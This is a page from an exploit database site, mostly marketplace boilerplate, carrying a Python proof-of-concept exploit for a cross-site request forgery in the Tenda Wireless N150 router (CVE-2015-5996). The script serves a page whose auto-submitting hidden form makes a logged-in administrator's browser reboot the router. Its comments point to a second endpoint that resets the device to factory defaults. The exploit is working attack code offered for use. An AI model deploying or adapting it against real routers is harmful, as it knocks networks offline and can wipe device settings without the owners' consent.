0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router) Exploit
Author
Risk
[
Security Risk Low
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router) # Exploit Author: Nathu Nandwani # Website: http://nandtech.co # CVE: CVE-2015-5996 # # Description: # # The router is vulnerable to a cross-site request forgery attacker. # If an administrator is currently logged in and visits a # remote webpage containing forms existing in the router's firmware, # a request can be forged to modify existing settings or even # set the router to its default state. # # These are two examples that can work in the proof of concept: # /goform/SysToolReboot - Reboot the router # /goform/SysToolRestoreSet - Set the router to default settings # # Reference: https://www.kb.cert.org/vuls/id/630872 import socket server_ip = "0.0.0.0" server_port = 80 router_ip = "192.168.0.1" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((server_ip, server_port)) sock.listen(1) print "Currently listening at " + server_ip + ":" + str(server_port) client, (client_host, client_port) = sock.accept() print "Client connected: " + client_host + ":" + str(client_port) print "" print client.recv(1000) client.send('HTTP/1.0 200 OK\r\n') client.send('Content-Type: text/html\r\n') client.send('\r\n') client.send(""" <html> <body> <form method="post" id="frmSetup" name="frmSetup" action="http://""" + router_ip + """/goform/SysToolReboot"> <input name="CMD" value="SYS_CONF" type="hidden"> <input name="GO" value="system_reboot.asp" type="hidden"> <input name="CCMD" value="0" type="hidden"> </form> <script> document.getElementById("frmSetup").submit(); </script> </body> </html> """) client.close() sock.close() # 0day.today [2024-11-15] #